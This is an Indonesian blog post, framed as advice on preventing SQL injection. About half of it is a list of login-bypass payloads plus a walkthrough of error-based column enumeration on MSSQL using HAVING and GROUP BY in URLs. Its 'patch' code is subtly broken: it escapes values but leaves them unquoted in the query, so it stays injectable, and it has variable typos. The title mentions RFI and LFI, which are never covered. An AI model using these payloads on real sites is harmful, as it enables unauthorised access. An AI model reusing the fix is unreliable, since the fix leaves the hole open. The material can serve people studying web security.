SQLi/PHPi/RFI/LFI/XSS
Cara Meminimalisir SQL Injection, RFI & LFI
bahas mulai dari SQL,
SQL injection terjadi karena code yang tidak di filter dengan baik..
SQLi ada 2 type
1. bypass login.
kalo yg ini pasti sudah banyak yang tau...
kita tau bahwa beberapa cara untuk mem’by-pass’ login SQL, contohnya seperti:
+—————————–+
‘ or 1=1 –
a’ or 1=1 –
” or 1=1 –
a” or 1=1 –
‘ or 1=1 #
” or 1=1 #
or 1=1 –
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
“) or (“x”=”x
‘ or username LIKE ‘%admin%
+—————————–+
USERNAME: ‘ or 1/*
PASSWORD: */ =1 —
+—————————–+
USERNAME: admin’ or ‘a’=’a
PASSWORD: ‘#
+—————————–+
Kenapa bisa terjadi??
Mari kita liat code Login ASP.
Code:
var sql = “SELECT * FROM users WHERE username = ‘” + formusr + “‘ AND password =’” + formpwd + “‘”;
ketika kita memasukan login seperti ini:
formusr = admin
formpwd = ‘ or ‘1=’1
maka scripts akan membacanya seperti ini:
Code:
SELECT * FROM users WHERE username = ‘admin’ AND password = ” or ‘1’=’1’
dan ketika hal itu di execute, SQL akan menganggap login TRUE,
sehingga kita tidak memerlukan password admin.
bisa juga kita menambah user baru, kalo kita tahu table dan kolomnya...
bisa dengan cara Group atau having.. itu lanjut ke tipe yang ke 2
2. URL Sql injection
GROUP BY => perintah microsoft sql server digunakan untuk mengelompokkan output dari query sql tertentu.
HAVING => perintah yang digunakan untuk menentukan kondisi pencarian untuk kelompok.
ok dengan 2 command tersebut kita mencoba mengetahui table atau kolom dari target
misal:
Code:
http://www.target.com/news.php?id=1
kira-kira isi source code pagenya
Code:
SELECT * FROM news WHERE news_id='1'
ketika kita mengrequest page.php dengan cara
Code:
http://www.example.com/news.php?id=1' HAVING 1=1–
script akan menjalankan
Code:
SELECT * FROM news WHERE news_id=’1' HAVING 1=1–’
script akan menampilkan error
Code:
Microsoft OLE DB Provider for SQL Server error ‘80040e14?
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘news.news_id’ is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
dari sana kita dapat mengetahui nama kolom news.news_id
kita bisa seacrh semua kolom dengan
Code:
http://www.example.com/page.php?id=1' GROUP BY news.news_id HAVING 1=1–'
sampai tidak terjadi error...
Patching...
ini bagian penting
setelah mencari, bertanya, semedi...
ternyata ada fungsi ==> mysql_real_escape_string();
contoh:
Code:
$username = mysql_real_escape_string($get_['value']);
$password = mysql_real_escape_string($get_['value']);
SELECT * FROM users WHERE username = $username AND password = $password
atau dengan url filter pake php script (lupa dapet dimana tapi ada di dokumen gw)
cuma angka saja yg bisa diinputkan di id_news:
Code:
if (!preg_match(“/^[0-9]+$/”, $id_news)){ echo “pesan anda“; exit; }
filter agar tidak ada nilai minus diinput id_news:
Code:
if ($id_news < 0){ echo "pesan anda“; exit; }
filter pembatasan length input pada id_news:
Code:
if (strlen($id_newst)>5){ echo “pesan anda“; exit; }
0 komentar:
Posting Komentar